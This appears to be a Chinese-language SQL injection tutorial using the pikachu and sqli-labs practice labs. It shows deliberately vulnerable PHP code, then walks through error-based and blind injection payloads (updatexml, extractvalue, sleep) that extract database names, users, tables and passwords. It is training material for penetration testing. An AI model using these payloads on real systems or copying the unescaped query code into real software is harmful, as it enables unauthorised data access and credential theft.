【本章代码来源于pikachu和sqli-lab中的靶场】
开发中,根据不同的需求,开发者会采用不同SQL语句与数据库进行交互,渗透测试人员在采用黑盒测试的情况下,根据不同的功能猜测对应语句进行注入是一项必备能力。
1. select查询语句
select 往往用于网站需要显示查询的操作,考虑如下代码,'name’可以直接拼接到sql语句中,且能够进行回显,那么思路就是可回显注入的一般思路,利用联合查询进行注入。
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username='$name'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="your uid:{$id}
your email is: {$email}
";
}
}else{
$html.="您输入的username不存在,请重新输入!
";
}
}
2. insert 插入语句
insert语句用于向数据库中插入数据,试想什么样的情况下,开发者会允许用户向数据库中插入信息呢?最常见的情况是网站中用户的注册。考虑如下代码,直接对post方法中的参数进行获取并且没有进行任何转义操作,因此一种思路就是利用抓包工具进行抓包,并且通过修改post中的值进行注入操作。
if(isset($_POST['submit'])){
if($_POST['username']!=null &&$_POST['password']!=null){
//没转义,导致注入漏洞,操作类型为insert
$getdata=$_POST;
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
$html.="注册成功,请返回登录
";
}else {
$html.="注册失败,请检查下数据库是否还活着
";
}
}else{
$html.="必填项不能为空哦
";
}
}
3. delete删除语句
delete语句往往用于管理操作,如博客类后台管理中删除文章、动态、评论等一系列删除动作;再如企业人员管理平台中管理员删除用户操作。
if(array_key_exists('id', $_GET)){//没对传进来的id进行处理,导致DEL注入
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
header("location:sqli_del.php");
}else{
$html.="删除失败,检查下数据库是不是挂了
";
}
}
4. update更新语句
会员中心或后台中心数据同步操作,例如用户注册后允许对自身的数据进行修改,这类将修改同步到数据库的功能呢就会用到update语句
if($_POST['sex']!=null && $_POST['phonenum']!=null && $_POST['add']!=null && $_POST['email']!=null){
//未转义,形成注入,sql操作类型为update
$getdata=$_POST;
$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
header("location:sqli_mem.php");
}else {
$html1.='修改失败,请重试';
}
5. order by排序语句
一般结合表名或列名进行数据排序操作,如下代码是根据id的值进行排序
$sql="SELECT * FROM users ORDER BY '$id'";
和select不同,其他语句并不是查询,而是一个操作,因此如果需要回显,就需要从报错信息中进行回显,而不是前端页面中进行回显。根据上述描述可以得到下表,手工注入时,需要根据不同的语句功能判断注入点,修改注入语句。
功能 | 语句 |
---|---|
数据显示 | select |
用户注册、管理员添加用户等 | insert |
用户修改自身数据、管理员修改用户数据等 | update |
删除评论、文章;管理员删除用户 | delete |
排序操作 | order by |
和select不同,其他语句并不是查询,而是一个操作,因此,如果需要回显,就需要从报错信息中进行回显,而不是从前端页面中进行回显。(前提是开发者没有屏蔽报错信息)
and (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
解释
updatexml(xml_docuement,XPathstring,new_value)
#第一个参数:xml_docuement是String格式,为表中的字段名
#第二个参数:XPathstring,主要作用是定位
#第三个参数:new_value,String格式,用新字符替换符合条件的
思路:利用函数本身机制报错
原理:本质上就是函数的报错
payload写法:
and updatexml(1,concat(0x7e,(version())),0)
解释:exp(x)返回的是e^x次方
思路:利用函数本身机制报错
原理:本质上是溢出
payload写法:
and exp(~(select * from user()x))
解释: 对XML文档进行查询的函数
extractvalue(value1,value2)
#第二个参数原本表示文件的位置,这里我们可以进行注入操作
思路:利用函数本身机制报错
原理:本质上就是函数本身报错
payload写法
and extractvalue(1,concat(0x7e,database(),0x7e))
开发者同时还会对报错信息进行屏蔽,此时就需要进行盲注,根据网站响应的特点来判断。盲注分为种:时间盲注以及Bool盲注。从本质上说,两种盲注都基于条件的判断:Bool盲注中,注入语句构成真逻辑时不影响页面正常显示,注入语句构成假逻辑时,页面显示异常;时间盲注中,人为写判断,通过满足与否来决定是否执行延迟语句。
1.截取函数
substr(str,start,length)
#str参数:截取的字符串对象
#start参数:开始的位置,下标从1开始
#length参数:截取的长度,盲注往往是一位一位获取
2.转义函数
ascii(char) #该语句的作用是将参数转译成ascii码,往往配合截取语句使用
ascii(substr(str1,1,1)) #实际使用时的常用写法
hex(char) #该语句的作用是将参数转义成hex16进制,往往配合截取语句使用
hex(substr(str2,1,1)) #实际使用时的常用写法
3.条件函数
if(condition,act1,act2) #满足第一个参数condition返回act1,否则返回act2,时间盲注和bool都会用
4.其他函数
sleep(x) #x为睡眠时间,常用于时间盲注中与条件函数配合使用
benchmark(X,expression) #该函数作用是将某个表达式重复执行x次,注入中的实际意义是重复执行一个表达式以起到延迟的作用,x为次数,expression为表达式。
Bool盲注利用拼接真值和假值显示是否异常来判断信息是否准确的注入方式,bool盲注在回显注入点的判断中已
经涉及到,例如:?id=1 and 1=1页面显示正常,而**?id=1 and 1=2** 页面显示异常,表示id存在注入点。
但是有的时候,也存在注入的干扰,如符号干扰,例如变量是字符串时就需要进行符号闭合,如下代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
进行注入的时候,payload需要将符号闭合?id=x’ and 1=2 --+;或者?id=x’ and 1=2 ';
CTF的题目设计中还存在,过滤1=1的情况,这时候可以采用编码进行绕过,或者尝试稍大一点的数字写逻辑。
实际运用中盲注是对字段进行猜测,payload如下
?id=1' and 1=if(substr(database(),1,1)='s',1,2)
时间盲注判断标准实际上是根据网页的响应时间判断,取决于服务器性能。所以相对于报错回显和Bool盲注,个
人认为时间盲注在手工实战中显得不是那么实用。见如下payload:
if(substr(database(),1,1)='s',sleep(10),1)
如果说当前数据库的第一个字母为’s’,那么就会睡眠十秒进行响应,观察网页,或者写计时器脚本记录响应时间,
判断信息是否猜测正确。
对url进行各类拼接尝试后,转换思路,在提交内容处寻找突破口:
返回报错信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“) and password=(”") LIMIT 0,1’ at line 1
根据该爆破信息,判定注入时需要闭合双引号和括号,采用报错回显的方式进行注入。
burpsuite抓包后,发送到repeater模块进行重放
payload写法
uname=xigua" or updatexml(1,concat('~~~',(select version()),'~~~'),0) or "&passwd=1234567&submit=Submit #DBMS版本
uname=xigua" or updatexml(1,concat('~~~',(select database()),'~~~'),0) or "&passwd=1234567&submit=Submit #数据库名
uname=xigua" or updatexml(1,concat('~~~',(select user()),'~~~'),0) or "&passwd=1234567&submit=Submit #用户
得到如下信息:
DBMS:mysql
版本:5.0以上
用户:root
数据库名:security
【注意,payload需要进行修改,上一步中忘记闭合括号了】
爆表
uname=xigua") or updatexml(1,concat('~~~',(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),'~~~'),0)#&passwd=1234567&submit=Submit
XPATH syntax error: ‘~~~emails,referers,uagents,users’
爆列
出现问题,Subquery returns more than 1 row报错回显
这种情况采用limit 不断替换参数得到想要的信息即可
uname=xigua") or updatexml(1,concat('~~~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~~~'),0)#&passwd=1234567&submit=Submit
XPATH syntax error: '~~~USER~~~'
uname=xigua") or updatexml(1,concat('~~~',(select column_name from information_schema.columns where table_name='users' limit 4,1),'~~~'),0)#&passwd=1234567&submit=Submit
XPATH syntax error: '~~~username~~~'
uname=xigua") or updatexml(1,concat('~~~',(select column_name from information_schema.columns where table_name='users' limit 5,1),'~~~'),0)#&passwd=1234567&submit=Submit
XPATH syntax error: '~~~password~~~'
爆用户名和密码
uname=xigua") or updatexml(1,concat('~~~',(select username from users where database()='security' limit 0,1),'~~~'),0)#&passwd=1234567&submit=Submit
#只需要登录系统的需求下,获取随意用户名即可,不需要全都爆出
XPATH syntax error: '~~~Dumb~~~'
uname=xigua") or updatexml(1,concat('~~~',(select password from users where username='Dumb' and database()='security' limit 0,1),'~~~'),0)#&passwd=1234567&submit=Submit
XPATH syntax error: '~~~Dumb~~~'
step1:注入点判断和注入方法选择
进入测试环境,观察页面,可以发现这是一个注册页面,猜测程序从用户输入中获取数据与**insert()**语句进行拼接,将其加入到数据库当中
尝试在交互界面进行初步注入,用户:xigua’尝试闭合单个引号,看页面是否会报错
提交,出现报错,因此判断存在用户输入中存在注入点,由于页面返回报错信息,因此采用报错回显的方式进行注入。报错信息如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1233445566'),'','','','')' at line 1
根据报错信息,判断注入时需要闭合单引号和括号,且由于是注册功能,因此SQL语句大概率采用的是insert。
step2:工具抓包分析
proxy抓取http请求数据包,发送到repeater模块进行重放
根据前期判断,程序将post请求中,请求正文的数据与sql语句进行拼接
step3: updatexml()报错尝试
尝试爆出版本信息:
username=xigua' and updatexml(1,concat(0x7e,(version())),0) and '&password=yikuai5jin&sex=male&phonenum=137137137137&email=guatian%40123&add=guatian&submit=submit
出现报错回显:XPATH syntax error: ‘~5.7.26’
爆出版本信息为5.0以上,方法可行,修改字段进行信息收集
查询当前库
username=xigua' and updatexml(1,concat(0x7e,(database())),0) and '&password=yikuai5jin&sex=male&phonenum=137137137137&email=guatian%40123&add=guatian&submit=submit
XPATH syntax error: ‘~pikachu’
查询当前用户
username=xigua' and updatexml(1,concat(0x7e,(user())),0) and '&password=yikuai5jin&sex=male&phonenum=137137137137&email=guatian%40123&add=guatian&submit=submit
XPATH syntax error: ‘~root@localhost’
信息收集结果如下
DBMS:mysql
版本:5.0以上
用户:root
数据库名:pikachu
自此可以分析,mysql5.0以上,存在information_schema库方便注入,当前用户拥有root权限,因此不仅仅可以查询pikachu中的数据,也可以查询其他库中的数据。记得查询具体信息时payload可能要改写,因为可能存在写payload时忘记闭合括号的情况:示例
username=xigua') and updatexml(1,concat(0x7e,(user())),0) #&password=yikuai5jin&sex=male&phonenum=137137137137&email=guatian%40123&add=guatian&submit=submit
之后就是传统思路,节省篇幅不加以赘述。
启动靶场,观察环境,会员中心修改个人信息,初步判断采用的SQL语句是update
出现报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '',phonenum='12345667',address='333333333',email='33333333' where username='qhn'' at line 1
判断可以采用报错回显的方式注入,burpsuite抓包分析尝试报错注入,步骤同实验一,下面展示payload写法
信息收集:
sex=male2&phonenum=12345667&add=333333333&email=33333333' or updatexml(1,concat('~~',(select database()),'~~'),0) or '&submit=submit
sex=male2&phonenum=12345667&add=333333333&email=33333333' or updatexml(1,concat('~~',(select user()),'~~'),0) or '&submit=submit
sex=male2&phonenum=12345667&add=333333333&email=33333333' or updatexml(1,concat('~~',(select version()),'~~'),0) or '&submit=submit
后续思路为传统思路,不加赘述。
url中拼接
id=59'
出现报错内容,判断id处存在注入点
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
在id后拼接注入
payload写法
?id=56 or updatexml (1,concat(0x7e,(select database()),0x7e),0)
?id=56 or updatexml (1,concat(0x7e,(select user()),0x7e),0)
?id=56 or updatexml (1,concat(0x7e,(select version()),0x7e),0)
其实这个部分是不想写的,因为大部分的盲注底层思想是暴力破解,完全可以依托于工具进行,但是为了保证内容的完整性,这里仅进行效果演示。
bool盲注判断注入点
http://127.0.0.1/sqli-labs-master/Less-9/?id=1 and 1=2
如果没有引号限制,回显会出现异常,但是此时网页是正常的,因此尝试符号闭合
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and 1=2#
依然显示正常,时间盲注进行猜表名尝试
127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(20),1)--+
可以发现明显的延迟,这是因为payload中:if(substr(database(),1,1)=‘s’,sleep(20),1)表达的意思是如果数据库名的第一个字母为s,就延迟10秒执行,以此类推,一般思路是一个个字母进行猜解,可以发现手工盲注的时间和精力耗费相当大,因此一般采用工具辅助,而在sqlmap中就存在这样的模块可以使用。如下图